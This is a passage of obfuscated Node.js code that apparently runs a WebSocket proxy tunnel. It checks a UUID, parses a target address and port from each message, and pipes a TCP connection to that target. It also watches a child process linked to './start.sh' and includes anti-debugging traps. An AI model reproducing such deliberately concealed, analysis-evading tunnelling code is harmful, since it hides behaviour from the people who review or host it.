_0x5b3717(_0x550361-0x445,_0x453ecf,_0x453ecf-0xe5,_0x550361-0x10f,_0x533d70-0x66);}console[_0x5aa48e(0x1e1,0x76,0x1cf,0x98,0x162)](_0x54079d(-0x366,-0x264,-0x306,-0x2de,-0x242)+_0x5aa48e(0x1d7,0x228,0xd5,0x19e,0x17b)+_0x54079d(-0x267,-0x2c6,-0x200,-0x2e4,-0x140)+_0x5aa48e(0x1ae,0x22a,0x26e,0x281,0x246)+_0x26639a(-0x142,-0x1fc,-0x8a,-0xce,-0x147)+'\x20'+port);});const _0x58453d={};_0x58453d[_0x5b3717(-0x251,-0x1d1,-0x218,-0x227,-0x168)+'r']=httpServer;const wss=new WebSocket[(_0x504eae(0x258,0x1f3,0x339,0x329,0x2d8))+'r'](_0x58453d);wss['on'](_0x1e3602(-0x120,-0xfb,-0xa7,-0x71,0x27)+_0x1e3602(-0x2a,0x75,-0x17,0xb1,0x91),_0x338277=>{const _0x15e773={'peSlp':function(_0x196ade,_0x291a3c){return _0x196ade===_0x291a3c;},'Mlvef':_0x53ba12(0x112,0xd2,-0xc,0xd7,-0x15),'qvIbA':_0x53ba12(0x205,0x21b,0x173,0x2ba,0x208),'rLUYi':_0x22caf1(-0x84,0x9f,-0x18,0x55,0x9),'iKskN':function(_0x5aec02,_0x4a41f9){return _0x5aec02(_0x4a41f9);},'CyOYO':_0x48965c(0x499,0x49f,0x468,0x3cd,0x531),'vjNvL':function(_0x498de0,_0x1ab857){return _0x498de0(_0x1ab857);},'mAhaX':_0x53ba12(0xfa,0x117,0x50,0x170,0xc4),'wmrKJ':function(_0x97afe7,_0x5596f4){return _0x97afe7+_0x5596f4;},'UzLYU':function(_0x4079ce,_0x7de1){return _0x4079ce+_0x7de1;},'xggyp':_0x22caf1(-0x42,-0x1c,-0xc1,-0xad,-0x9)+_0x48965c(0x3f1,0x4dd,0x47b,0x4e3,0x465)+_0x4d9560(-0x1d9,-0x13d,-0x153,-0x155,-0x1b7)+_0x48965c(0x47c,0x394,0x442,0x330,0x457),'gtuvb':_0x4e9ec3(0x1be,0x16d,0x1e5,0x207,0x16a)+_0x4d9560(0x55,-0x4a,0xa,-0x5c,-0x2c)+_0x53ba12(0x60,0xd7,0xe7,0xf7,0x2e)+_0x4d9560(-0x107,0x8,-0xa3,-0x23,0x45)+_0x4e9ec3(0xd2,0xa7,0xd9,0x42,0x1af)+_0x48965c(0x49d,0x423,0x338,0x3d0,0x493)+'\x20)','nJwcJ':function(_0x34f70e,_0x420df2){return _0x34f70e!==_0x420df2;},'myeAR':_0x48965c(0x403,0x3a4,0x42b,0x448,0x3ec),'NHqXG':_0x53ba12(0x17f,0xc4,0x168,0xbf,0x14f),'HIzaX':function(_0x2c0d5a,_0x303dde){return _0x2c0d5a==_0x303dde;},'LFXJW':function(_0x5ba431,_0x230a43){return _0x5ba431+_0x230a43;},'pWOqq':function(_0x590dcb,_0x52c607){return _0x590dcb+_0x52c607;},'IdbFC':function(_0xc482c0,_0x8fba09,_0x230c0a,_0xb4b844){return _0xc482c0(_0x8fba09,_0x230c0a,_0xb4b844);},'kdWLe':_0x53ba12(0xea,0xa7,0x3b,0x156,0x9b)+_0x48965c(0x530,0x494,0x3ff,0x52b,0x4bb),'AMPQa':function(_0x4366c0,_0x220619){return _0x4366c0(_0x220619);},'wzZPT':function(_0x39f8aa,_0x4d22b1,_0x21d564){return _0x39f8aa(_0x4d22b1,_0x21d564);},'Eezyv':_0x4d9560(-0xaf,-0xd9,-0x83,-0x145,-0xb0)+_0x4e9ec3(0x22c,0x2ba,0x1d5,0x15f,0x1ca)+'r:','AJXkM':_0x53ba12(0x51,0xa7,0x32,0x37,-0x42)+_0x4d9560(-0x10c,-0x13e,-0xd4,-0x7e,-0x114)+_0x4d9560(0x1d,0xda,0x76,0x32,-0x6c)+_0x53ba12(0x15e,0xfd,0x17e,0x94,0x12d)+'ly','sxRLl':_0x53ba12(0x4f,0xf9,0x1bd,0x1ac,0x1e0)+'ge','zbVyN':_0x4e9ec3(0x157,0x254,0x23f,0x220,0x296)+_0x4e9ec3(0xf5,-0x10,0xcc,0xb9,0x71)+_0x53ba12(0x194,0x1e6,0x24e,0x25e,0x1ef)+':'};function _0x22caf1(_0x42eeed,_0x2bf72e,_0x1c7313,_0x3fae0b,_0x414167){return _0x3b9f4f(_0x414167-0x62,_0x2bf72e-0xe2,_0x1c7313-0xd6,_0x3fae0b-0x101,_0x3fae0b);}function _0x4d9560(_0x32560f,_0x19d1a5,_0x592c2c,_0x361ab5,_0x4eeedf){return _0x1d31e6(_0x361ab5- -0x203,_0x19d1a5-0x8e,_0x32560f,_0x361ab5-0x141,_0x4eeedf-0x157);}console[_0x48965c(0x3bb,0x372,0x3d8,0x3fb,0x350)](_0x15e773[_0x4d9560(-0x202,-0x134,-0x1cc,-0x1a0,-0x138)]);function _0x48965c(_0x29af8a,_0x4fff4b,_0x5ea167,_0x2a0838,_0x1e857d){return _0x3b9f4f(_0x4fff4b-0x3b7,_0x4fff4b-0x61,_0x5ea167-0xde,_0x2a0838-0x1d,_0x2a0838);}function _0x4e9ec3(_0x21b174,_0xd6c6ab,_0x2c9692,_0xbf63,_0x48d11a){return _0x5b3717(_0x2c9692-0x345,_0xbf63,_0x2c9692-0x16a,_0xbf63-0xb8,_0x48d11a-0x1b);}function _0x53ba12(_0x38030d,_0x20c24f,_0x3aba8b,_0xd84a7e,_0x101c14){return _0x504eae(_0x20c24f- -0x1c2,_0x20c24f-0x1ea,_0x3aba8b-0x14c,_0xd84a7e-0x1e4,_0x101c14);}_0x338277[_0x48965c(0x346,0x344,0x361,0x3f1,0x358)](_0x15e773[_0x53ba12(0x170,0x153,0x98,0x10f,0x176)],_0x582f00=>{function _0x1f0c5b(_0x36fad2,_0x3a1821,_0x49fb9a,_0x37f73e,_0xf00117){return _0x4d9560(_0x49fb9a,_0x3a1821-0x42,_0x49fb9a-0xfa,_0x36fad2-0xa7,_0xf00117-0x52);}function _0x41d87d(_0x38e8ac,_0x11e0f9,_0x1a5c0f,_0x46d3c6,_0x40e158){return _0x4e9ec3(_0x38e8ac-0x118,_0x11e0f9-0xdc,_0x11e0f9- -0xec,_0x46d3c6,_0x40e158-0xee);}function _0x5a4020(_0xd2a491,_0x3ce8a9,_0x5f0598,_0x5d80fe,_0x24753d){return _0x22caf1(_0xd2a491-0x76,_0x3ce8a9-0x146,_0x5f0598-0x2d,_0x5d80fe,_0x3ce8a9- -0x140);}function _0x4f1aaa(_0x51b05a,_0x50d8e8,_0x4eb23f,_0x12ebfa,_0xf53023){return _0x4e9ec3(_0x51b05a-0x16a,_0x50d8e8-0x59,_0xf53023- -0x345,_0x51b05a,_0xf53023-0x14d);}function _0x3d5022(_0x12afd0,_0x4b1a36,_0x47c467,_0x2ec865,_0x304c24){return _0x4e9ec3(_0x12afd0-0xc6,_0x4b1a36-0x192,_0x4b1a36-0x125,_0x304c24,_0x304c24-0x17f);}if(_0x15e773[_0x41d87d(0x15f,0xda,0x121,0xdc,0xd6)](_0x15e773[_0x3d5022(0x330,0x2f5,0x33c,0x299,0x344)],_0x15e773[_0x4f1aaa(-0x1d1,-0xf2,-0x19,-0x15,-0xf0)])){const [_0x4e2b08]=_0x582f00,_0x1b95e7=_0x582f00[_0x3d5022(0x257,0x281,0x216,0x1ff,0x251)](-0xf66+0x476*-0x7+0x2ea1,-0x1*-0x150a+0x1*-0x257d+0x1c*0x97);if(!_0x1b95e7[_0x41d87d(0x9e,0x27,0xda,-0x69,0x41)]((_0x18b0ee,_0x5ba6eb)=>_0x18b0ee==parseInt(uuid[_0x41d87d(0x42,-0x3f,0x1,-0x2d,-0xad)+'r'](_0x5ba6eb*(0x14d*-0x1+-0x38b*0x8+-0x1*-0x1da7),-0x175d*-0x1+-0x5*-0x597+-0x334e),-0x1*-0x1df5+0x793+0x368*-0xb)))return;let _0x2499f9=_0x15e773[_0x41d87d(-0xd,0xd1,0xd3,0xb1,0x4d)](_0x582f00[_0x3d5022(0x22c,0x281,0x2c8,0x332,0x236)](0x11*-0x71+-0x2e*-0x6a+0x1a*-0x71,0x1300+0xb33+-0x1e21)[_0x41d87d(-0x9c,0x1c,-0x5c,-0x30,0xce)+_0x41d87d(-0x98,-0x8,-0x18,-0x64,-0xf9)](),-0x13b2+0x5*-0x6fb+-0x2*-0x1b56);const _0x169107=_0x582f00[_0x4f1aaa(-0x20a,-0x161,-0x201,-0x267,-0x1e9)](_0x2499f9,_0x2499f9+=-0x16b*0x10+0x1006+0x6ac)[_0x1f0c5b(-0x75,-0x2a,-0x14f,0x72,-0x11f)+_0x5a4020(-0xce,0x1d,0xc4,-0x55,0x54)+'BE'](-0x1*-0x193a+0x4a*0x26+-0x2436),_0x26909=_0x582f00[_0x41d87d(-0x45,0x70,0x2c,-0x28,-0x4b)](_0x2499f9,_0x2499f9+=0x1f*-0x46+0x2408+-0x1b8d)[_0x41d87d(0x56,0x1c,-0x5a,-0xa5,-0xa3)+_0x41d87d(0x4c,-0x8,-0x98,-0xc9,-0x9a)](),_0x2df56b=_0x15e773[_0x5a4020(-0x6d,-0x9d,0x17,-0x145,0xe)](_0x26909,-0x266*0xb+-0x2241+0x3ca4)?_0x582f00[_0x5a4020(0x59,-0x7b,-0x112,-0x138,-0xcf)](_0x2499f9,_0x2499f9+=-0x269e+0x2559+-0x149*-0x1)[_0x41d87d(0x2d,0x104,0x146,0x1da,0xf5)]('.'):_0x15e773[_0x3d5022(0x2b4,0x25f,0x2cd,0x30c,0x1d6)](_0x26909,-0x1*0x9b1+-0x26d*-0x6+0x1*-0x4db)?new TextDecoder()[_0x3d5022(0x26b,0x2ae,0x247,0x33d,0x2d1)+'e'](_0x582f00[_0x1f0c5b(-0x21,0x83,-0xc0,0x7e,-0x25)](_0x15e773[_0x3d5022(0x351,0x2e2,0x234,0x2f6,0x278)](_0x2499f9,0x1*0x349+0x37f*-0x7+-0x1531*-0x1),_0x2499f9+=_0x15e773[_0x4f1aaa(-0x1c8,-0x155,-0x277,-0x21c,-0x1db)](0x1e5*-0xd+-0x2*0x136c+0x3f7a,_0x582f00[_0x1f0c5b(-0x21,0xaf,-0x77,-0x93,0xca)](_0x2499f9,_0x15e773[_0x4f1aaa(-0x317,-0x1ca,-0x218,-0x2e7,-0x24d)](_0x2499f9,-0x8b1+-0x197d+-0xb65*-0x3))[_0x4f1aaa(-0x1a5,-0x185,-0x17a,-0x16a,-0x23d)+_0x41d87d(0xbf,-0x8,0xc3,0x39,0x22)]()))):_0x15e773[_0x3d5022(0x2a0,0x25f,0x33d,0x25d,0x350)](_0x26909,-0x653*0x5+-0x26f9+0x469b)?_0x582f00[_0x41d87d(0xe7,0x70,0xec,0x1a,-0x46)](_0x2499f9,_0x2499f9+=-0x2*0x375+-0x71*-0x7+-0x1*-0x3e3)[_0x5a4020(0x33,-0x9c,-0x17d,-0x2d,-0x3d)+'e']((_0x316879,_0x3ec672,_0xfe2286,_0x40ee93)=>_0xfe2286%(0x10d*-0xe+-0x11c1+0x2079)?_0x316879[_0x3d5022(0xfc,0x1b7,0x1bf,0x272,0x231)+'t'](_0x40ee93[_0x5a4020(-0x156,-0x7b,0x4f,-0x3e,-0x62)](_0xfe2286-(0x91d*0x1+0xcf*-0xd+0x167),_0xfe2286+(-0x209a*0x1+-0x1323+0x19df*0x2))):_0x316879,[])[_0x1f0c5b(-0x54,-0x108,-0xbe,0x1a,-0x5b)](_0x427ae0=>_0x427ae0[_0x3d5022(0x2b5,0x22d,0x16f,0x26c,0x1ab)+_0x41d87d(0x167,0x108,0xf2,0x4a,0x1be)+'BE'](-0x1*-0x1e9e+-0x60e+-0x1890)[_0x1f0c5b(0xbd,0x119,0x114,0xe8,-0xc)+_0x5a4020(-0x185,-0x13c,-0x191,-0x5d,-0x180)](0x1c2e+0x1d05+0x3923*-0x1))[_0x1f0c5b(0x73,0x6e,-0x15,0x7a,0x122)](':'):'';_0x15e773[_0x4f1aaa(-0x1c0,-0x288,-0x30e,-0x2e6,-0x227)](logcb,_0x15e773[_0x41d87d(0x6b,0x154,0x196,0xe6,0xd9)],_0x2df56b,_0x169107),_0x338277[_0x1f0c5b(-0x8a,-0x3f,-0x127,-0x7a,-0xe7)](new Uint8Array([_0x4e2b08,0x138e*-0x1+0x1e8a*-0x1+-0x1*-0x3218]));const _0x472178=_0x15e773[_0x4f1aaa(-0x20d,-0x148,-0x1c8,-0x9b,-0x121)](createWebSocketStream,_0x338277),_0x454610={};_0x454610[_0x1f0c5b(0xdd,0x110,0x23,0x1b,0xab)]=_0x2df56b,_0x454610[_0x3d5022(0x21c,0x19e,0x252,0x14a,0x166)]=_0x169107;const _0x33faab={};_0x33faab[_0x1f0c5b(0xdd,0x10f,0x1bd,0x1a,0x17e)]=_0x2df56b,_0x33faab[_0x1f0c5b(-0x104,-0x32,-0x36,-0x7a,-0x1bf)]=_0x169107,net[_0x5a4020(-0xa0,-0xf6,-0x14e,-0xa7,-0x1d0)+'ct'](_0x454610,function(){function _0x11e0a3(_0x236c71,_0x4a6a48,_0x1ef5e0,_0x32d975,_0x11aa54){return _0x41d87d(_0x236c71-0x189,_0x4a6a48-0xce,_0x1ef5e0-0x4d,_0x32d975,_0x11aa54-0x3b);}function _0x32a8b5(_0x3e6379,_0x1c981a,_0x18be16,_0x203f9f,_0x1c008){return _0x1f0c5b(_0x1c008-0x168,_0x1c981a-0x137,_0x18be16,_0x203f9f-0x197,_0x1c008-0xd7);}function _0x16e631(_0x4993a4,_0x343edb,_0x2f90df,_0x1e6444,_0x335e7a){return _0x4f1aaa(_0x335e7a,_0x343edb-0x55,_0x2f90df-0x190,_0x1e6444-0x110,_0x2f90df- -0x29);}function _0x1098ae(_0xb69a5a,_0x1ae799,_0x2ff761,_0x287b23,_0x159c1e){return _0x1f0c5b(_0x1ae799-0x289,_0x1ae799-0xe3,_0x2ff761,_0x287b23-0x11e,_0x159c1e-0x1ce);}function _0x1f8911(_0x401cfd,_0x299939,_0x88c271,_0x6d7be,_0x18e21c){return _0x41d87d(_0x401cfd-0x161,_0x299939-0x36c,_0x88c271-0x3a,_0x18e21c,_0x18e21c-0x89);}if(_0x15e773[_0x32a8b5(0x14c,0x161,0x97,0x185,0xa8)](_0x15e773[_0x32a8b5(0x2db,0x299,0x2e4,0x322,0x23d)],_0x15e773[_0x11e0a3(0x262,0x1a0,0x1f6,0x1e3,0x23f)])){if(_0x524eef){const _0x4f6fde=_0x2d6d32[_0x1098ae(0x246,0x2ff,0x394,0x397,0x39c)](_0x56dd80,arguments);return _0xb21abe=null,_0x4f6fde;}}else this[_0x11e0a3(0x35,0xd2,0x1b5,0x31,0xb3)](_0x582f00[_0x1f8911(0x47d,0x3dc,0x402,0x484,0x410)](_0x2499f9)),_0x472178['on'](_0x15e773[_0x11e0a3(0xf8,0x89,0x160,0x55,0xd5)],_0x15e773[_0x16e631(-0x1cc,-0x2b9,-0x20c,-0x25c,-0x2b1)](errcb,_0x15e773[_0x1f8911(0x48f,0x48c,0x484,0x42a,0x3ea)]))[_0x11e0a3(0x142,0x1b0,0x296,0x277,0xee)](this)['on'](_0x15e773[_0x11e0a3(0xb7,0x89,0xf4,0xdd,0x94)],_0x15e773[_0x16e631(-0x1d2,-0x174,-0x21a,-0x237,-0x2e2)](errcb,_0x15e773[_0x16e631(-0x13d,-0x13b,-0x140,-0x212,-0x7d)]))[_0x32a8b5(0x1db,0x21c,0x27a,0x168,0x1b9)](_0x472178);})['on'](_0x15e773[_0x5a4020(-0xde,-0x130,-0xa4,-0x171,-0x1e7)],_0x15e773[_0x4f1aaa(-0x25e,-0x2be,-0x18c,-0x1bf,-0x25b)](errcb,_0x15e773[_0x1f0c5b(0xd2,0x85,0x40,-0x11,0x6f)],_0x33faab));}else _0x29f49a=iGzjzx[_0x3d5022(0x249,0x279,0x25e,0x33a,0x2f5)](_0x482d28,iGzjzx[_0x1f0c5b(0x40,0x104,0x72,0xb1,0x47)](iGzjzx[_0x5a4020(-0xe3,-0x25,-0x85,-0x62,-0xcc)](iGzjzx[_0x4f1aaa(-0x1c0,-0x37,-0x1b3,-0x167,-0x10c)],iGzjzx[_0x3d5022(0x35f,0x35b,0x3d4,0x3d7,0x2bc)]),');'))();})['on'](_0x15e773[_0x53ba12(0xcc,0x6f,0xd,-0x56,0x27)],_0x15e773[_0x53ba12(0x60,0x12a,0x105,0x152,0x163)](errcb,_0x15e773[_0x4d9560(-0x23e,-0x9c,-0x142,-0x159,-0x20f)]));}),childProcess[_0x504eae(0x2aa,0x1f7,0x1cf,0x1c4,0x2c7)+'t']['on'](_0x3b9f4f(0x64,0xb3,0x5b,0x49,0x10d),_0x32308f=>{function _0x3645a9(_0x3a0263,_0x37102e,_0x2d4d99,_0x11b00e,_0x2eeba1){return _0x3b9f4f(_0x2eeba1-0x1e,_0x37102e-0xe1,_0x2d4d99-0xc2,_0x11b00e-0x1e2,_0x11b00e);}function _0xbf076a(_0x33c5da,_0x64aff6,_0x5b8ddd,_0x31aa91,_0xac739c){return _0x504eae(_0xac739c- -0x2b3,_0x64aff6-0xde,_0x5b8ddd-0x2b,_0x31aa91-0x115,_0x5b8ddd);}function _0x55ac32(_0x4f5e95,_0x442d25,_0x84fde9,_0x53ca28,_0x4b390e){return _0x1e3602(_0x4f5e95-0x167,_0x4b390e,_0x84fde9-0x1,_0x53ca28-0x1da,_0x4b390e-0x19a);}console[_0xbf076a(-0x154,-0x140,-0xb8,0x2b,-0x75)](_0xbf076a(0xda,0x8a,-0xd9,0x2f,-0x9)+_0x55ac32(0x1d0,0x1b7,0x265,0x221,0x2e6)+_0x32308f);});function _0x5b3717(_0x53361c,_0x3d64eb,_0xd62b74,_0x2de2a2,_0x4d7f6e){return _0x222c(_0x53361c- -0x349,_0x3d64eb);}childProcess[_0x504eae(0x332,0x30f,0x25b,0x3c4,0x321)+'r']['on'](_0x1e3602(-0xc7,0x3c,-0xe1,0xb,-0x8a),_0x150c6a=>{function _0x58f46b(_0x5bd88f,_0x34e7b1,_0xafbc57,_0x1fbfae,_0x44ba8b){return _0x3b9f4f(_0x34e7b1-0x32c,_0x34e7b1-0x124,_0xafbc57-0x91,_0x1fbfae-0x138,_0xafbc57);}function _0x42ec39(_0x21c004,_0x334ee5,_0x59217d,_0x22145d,_0x579d99){return _0x3b9f4f(_0x579d99-0x7b,_0x334ee5-0x3e,_0x59217d-0xcd,_0x22145d-0x164,_0x22145d);}function _0x3ddc52(_0x37585d,_0x269aee,_0x1e785d,_0x343d5c,_0x13131e){return _0x3b9f4f(_0x13131e-0x283,_0x269aee-0x6d,_0x1e785d-0x15d,_0x343d5c-0x1e7,_0x37585d);}console[_0x3ddc52(0x208,0x149,0x20c,0x183,0x22a)](_0x3ddc52(0x2cd,0x3b4,0x3fc,0x2fc,0x332)+_0x42ec39(0xc0,0x184,0x1a4,0x85,0x15e)+_0x150c6a);}),childProcess['on'](_0x5b3717(-0x16d,-0x15c,-0xee,-0xc8,-0x1c7),_0x44d041=>{function _0x4510c4(_0x343fce,_0xf18e,_0x48a07b,_0x18d67e,_0x333faf){return _0x1e3602(_0x343fce-0x12f,_0x343fce,_0x48a07b-0x19c,_0x48a07b-0x184,_0x333faf-0x18c);}function _0x57a77d(_0x42aaae,_0x354fb4,_0x213b97,_0x7d1ee,_0x2e0766){return _0x5b3717(_0x213b97-0x430,_0x42aaae,_0x213b97-0xb2,_0x7d1ee-0x34,_0x2e0766-0x1f0);}function _0x5cb31b(_0x517b04,_0x4cf481,_0x4e7ac1,_0x3208e3,_0x37444f){return _0x3b9f4f(_0x4cf481- -0x20,_0x4cf481-0xd3,_0x4e7ac1-0x83,_0x3208e3-0x5f,_0x4e7ac1);}function _0x9f9bb8(_0x21b13b,_0x328460,_0xe89287,_0x175437,_0x212cc2){return _0x1e3602(_0x21b13b-0x131,_0x175437,_0xe89287-0xc9,_0x212cc2-0x327,_0x212cc2-0xa2);}function _0x224102(_0x3be2bf,_0x3762db,_0x164cd3,_0x2226b4,_0x417057){return _0x3b9f4f(_0x164cd3-0x446,_0x3762db-0x1bb,_0x164cd3-0x1df,_0x2226b4-0x7f,_0x3762db);}console[_0x9f9bb8(0x2c5,0x332,0x1f5,0x253,0x289)](_0x9f9bb8(0x2b3,0x30b,0x298,0x379,0x326)+_0x9f9bb8(0x18a,0x191,0x2d3,0x2e2,0x26f)+_0x4510c4(0x59,0x18c,0x133,0xa9,0x1e1)+_0x224102(0x56f,0x58f,0x4ef,0x59f,0x428)+_0x57a77d(0x283,0x30c,0x30c,0x395,0x330)+_0x224102(0x3f0,0x3e9,0x486,0x424,0x454)+_0x44d041);});function _0x4e4c(){const _0x35b343=['PJUHq','ess','2607099qtOSnB','NHzuu','VUWbC','WamCO','nDGnZ','prTxT','PIoog','ThJCG','gger','25c-c','Rpahm','BBKlA','\x20port','trace','8074146OfEJsv','RExtq','QbQPM','ufdSt','dcTsu','akkft','decod','bcCTr','sxRLl','while','NLVqL','uPIuo','VxtEs','QmRQu','vxfdZ','MBAXm','vyEiL','\x20(tru','nbfbP','Ejzpn','cxfXB','ng\x20on','t:\x20','RAplO','IWFzE','UbKUh','eServ','OABNl','fEhhE','funct','const','xit,\x20','AteeO','drGOn','PZViy','cted\x20','HXTIF','stder','tion','bUAtF','http','LegjN','ffwFQ','GwhBd','ydLrd','KBBMA','ZZxQO','UzLYU','ehNRh','omHUq','NtuTp','be4-4','lbAPp','EgIjE','Yicnh','state','CKgNX','vwWMV','wmrKJ','qvIbA','ound\x0a',')+)+)','iWTpY','iUkoU','BfvaY','cmawd','rVCDs','nJwcJ','sypaq','nstru','15441576cFxalo','PORT','KXHHp','iUyrA','gvLdn','pipe','AhMDR','myeAR','yIrAY','xFEeL','pOQpd','runni','ct-Er','ct:','IeSMM','close','liHXh','1c0a7','SyCzk','r:\x20','pCVxo','cxNks','3b6-b','wxMMJ','E1:','nkmzv','ODzMc','actio','{}.co','huTKO','PPgxu','11qyxnkm','baaVO','VJMWX','BKGxW','SSpbY','env','7apTMSr','jXxhT','join','PSHak','mODJA','apply','Int16','oePUv','vqZYb','YyzBo','WyYfq','35523WhLXEV',',\x20Wor','26ZTZBbS','dPuog','MOoJV','FXgKD','QUYWB','FFddC','\x22retu','ion\x20*','ction','cVTCn','tlkpy','MQLCG','rHuCY','./sta','eRUXM','creat','ITDzW','CyOYO','\x5c(\x20*\x5c','EEfdC','RJqbZ','iDzSp','chcUh','qgFlu','hMtyj','zkvhK','soNhl','13747460XHiaAI','sLgUb','Objec','kcOBP','dMrUv','pGfic','nnldf','hutFS','Error','n\x20(fu','SQFha','exit\x20','proto','IaAQQ','AMPQa','34973EQaioh','dgGbC','boUIg','TbmkI','thXtr','31b-9','igXwh','dehJt','qdEbE','mAhaX','FphDo','GwelD','IUuaa','OEyyx','UpZOL','5aAHeqs','iFdfD','gtuvb','HzzYl','bTZpH','xggyp','toStr','DlSBX','SZIrc','NDXLh','(((.+','WebSo','kdWLe','QtdjG','xisMf','sxjqi','aytnA','TfCYO','repla','fFEtn','rvbRb','djCCi','ZLSGn','VodzB','IUUld','net','RnvIN','Eezyv','zmHMa','ZSRjq','Mlvef','iRVDO','hLqPS','NHqXG','succe','VzILz','yvJLh','xDjCg','host','port','lwfzy','util','bvYam','ENUXM','XdJIb','a-zA-','AFQdy','mhjxL','call','NVlVS','AJXkM','vPGKz','once','ELQqV','zrEBO','JOvwt','PRlAo','liNNj','HHAvw','nEyQx','retur','fvPjT','ZtWnq','ZySZv','conca','RUvbo','xHxer','excep','QAMmq','QjooB','chain','BkELO','\x20proc','ing','dBMnj','ivCFN','BDovH','searc','error','SAPOu','BhFjR','CuVjr','pWlUa','HHIYV','EGhZe','rLUYi','gNvzd','to__','terva','nt-Ty','bHHoJ','subst','32qjTFKd','eURqP','2320ITVTvP','plain','rUHin','setIn','log','QPwpg','sEXRC','VYcwE','init','ulKmv','DbTXj','table','HFcrA','peSlp','vokxU','tsKtZ','ansOB','ructo','rdZbx','tWOOY','gNWCh','zZyec','MDzGd','rt.sh','hmvVG','count','LszCS','zbVyN','cket\x20','r\x20is\x20','Serve','nctio','TTiuI','GgHUu','nLwfJ','rcsmG','info','veKDz','n()\x20','url','IGTuh','rn\x20th','child','ivCZf','gHyhj','conso','CSsds','Conne','xWzfO','conne','YMKao','fBjQe','Int8','WZqeI','isNoV','lengt','TnDMY','hEApv','wzZPT','tdqlu','mjuUj','GlnpG','GXkqo','Z_$][','write','debu','qRURx','send','serve','QYFAI','tyKaX','qAiZw','pWOqq','esxiR','dFTqf','text/','DZKIl','e)\x20{}','pAIwA','xuxDF','ZcBtI','ess\x20e','KMlbm','egDib','DCpBU','YuZTU','GwNim','iiOWN','readU','UUID','OCFGX','Head','wXYKo','LDraj','AhSBZ','ctor(','pFaCe','zA-Z_','EBboY','every','XQEcL','XQvLW','CNRey','OaJSR','input','EIIdK','NXhPY','test','gpBzh','QRTPc','IdbFC','ZjhYg','stdou','CLxJL','MbvHf','ld\x0a','TfeVo','zOvbg','ArJzO','kgsEZ','vycxt','map','25bef','FqVfy','oewZB','$]*)','fmLpv','iRTzo','nKEwh','messa','xymJH','warn','xqvBr','ssful','39aa1','ioJGc','Not\x20F','code:','HIzaX','reduc','HSAgz','strin','UGzxM','Hello','FIsIF','IgZqH','__pro','ZBukS','end','MTwwb','wsjSt','bind','Rvigx','\x5c+\x5c+\x20','djRtw','_proc','FDrfr','JtRXc','liste','E2:','KYuYZ','Child','Conte','NRmyP','vjNvL','QQctm','baqfC','CzlDj','KbQMx','3184948GDYCkJ','chqdL','gZTRd','slice','data','fofzi','YZnVv','kEbvc','stdmP','iKskN','SeIEh','0-9a-','is\x22)(','fwptI','tamNE','LEbOf','SRWRa','LFXJW','oezYl','type','JhSmt','*(?:[','yIPvi','KZCzm','QENVS','QkmIN'];_0x4e4c=function(){return _0x35b343;};return _0x4e4c();}function _0x504eae(_0x2fc119,_0x5645a6,_0x3e5254,_0x27e50f,_0x40b493){return _0x222c(_0x2fc119-0x186,_0x40b493);}function _0x3b9f4f(_0x4d0e11,_0x5227de,_0x4e693f,_0x1476b1,_0x4240ea){return _0x222c(_0x4d0e11- -0xfd,_0x4240ea);}function _0x533f97(_0x505d61){const _0x274a73={'BhFjR':function(_0x3be348,_0x518cd4){return _0x3be348(_0x518cd4);},'qAiZw':function(_0x2a17fd,_0x5e5d71){return _0x2a17fd===_0x5e5d71;},'bvYam':_0x163385(-0x299,-0x281,-0x2c3,-0x1aa,-0x20d),'mjuUj':function(_0x121015,_0x5ce60e){return _0x121015===_0x5ce60e;},'DbTXj':_0x37219c(0x36b,0x3dc,0x2fe,0x344,0x2b9),'OaJSR':_0x163385(-0x2e6,-0x2dc,-0x1f7,-0x27c,-0x397),'JhSmt':function(_0xd0aec,_0x33c60b){return _0xd0aec+_0x33c60b;},'bHHoJ':function(_0x57de57,_0x3db417){return _0x57de57+_0x3db417;},'NVlVS':_0x5ef808(-0x38a,-0x217,-0x3c0,-0x2d8,-0x29d)+_0x37219c(0x423,0x38f,0x37f,0x462,0x42b)+_0x3c56c7(0x1f2,0x1d2,0x169,0x297,0x159)+_0x4c92c1(0x3c5,0x321,0x3f9,0x247,0x2ed),'lwfzy':_0x3c56c7(0x278,0x2e8,0x270,0x291,0x285)+_0x4c92c1(0x502,0x413,0x3be,0x3c5,0x477)+_0x37219c(0x279,0x1c6,0x26f,0x206,0x2e5)+_0x163385(-0x1aa,-0x129,-0x186,-0x1fc,-0x142)+_0x3c56c7(0x1f4,0x1dc,0x133,0x12b,0x202)+_0x3c56c7(0x1af,0x268,0x239,0x28b,0x251)+'\x20)','MTwwb':function(_0x56a4c8){return _0x56a4c8();},'IUUld':_0x3c56c7(0x249,0x1b7,0x1dd,0x1ca,0x21b),'vqZYb':_0x163385(-0x278,-0x20d,-0x2ef,-0x1cf,-0x205),'oewZB':_0x37219c(0x1df,0x2e3,0x234,0x249,0x1d8),'iUkoU':_0x4c92c1(0x372,0x2eb,0x3b1,0x2da,0x3cf),'ODzMc':_0x5ef808(-0x2ca,-0x25b,-0x222,-0x2d1,-0x326)+_0x37219c(0x3d6,0x262,0x309,0x358,0x235),'huTKO':_0x4c92c1(0x2c2,0x306,0x324,0x262,0x36f),'TnDMY':_0x4c92c1(0x3c5,0x3cd,0x37f,0x3b6,0x2e7),'fmLpv':function(_0x527a5b,_0x6c02b4){return _0x527a5b<_0x6c02b4;},'NHzuu':function(_0x3cd09e,_0x4fd2ba){return _0x3cd09e===_0x4fd2ba;},'dFTqf':_0x4c92c1(0x28b,0x367,0x39a,0x41f,0x315),'QENVS':function(_0x2f077d,_0x2792db){return _0x2f077d===_0x2792db;},'zmHMa':_0x3c56c7(0x18d,0x240,0x2dd,0x1e1,0x218)+'g','gvLdn':function(_0x29f302,_0x6fb28e){return _0x29f302!==_0x6fb28e;},'KXHHp':_0x5ef808(-0x166,-0x20c,-0x8d,-0x13a,-0x8d),'hmvVG':_0x4c92c1(0x34e,0x376,0x347,0x418,0x2fe),'IaAQQ':_0x5ef808(-0x14b,-0x2bd,-0x1b7,-0x1da,-0x168)+_0x3c56c7(0x1cc,0x297,0x303,0x231,0x2d4)+_0x37219c(0x2dc,0x183,0x25d,0x1c6,0x2a4),'VYcwE':_0x3c56c7(0x101,0x1cc,0x229,0x21f,0x101)+'er','dcTsu':function(_0x27055e,_0x2291f3){return _0x27055e===_0x2291f3;},'HXTIF':_0x163385(-0x19a,-0x1b8,-0x174,-0x221,-0x1db),'zkvhK':function(_0x58965a,_0x1cf64e){return _0x58965a/_0x1cf64e;},'iRTzo':_0x37219c(0x1fe,0x328,0x247,0x26b,0x297)+'h','WyYfq':function(_0xe259c1,_0xe77265){return 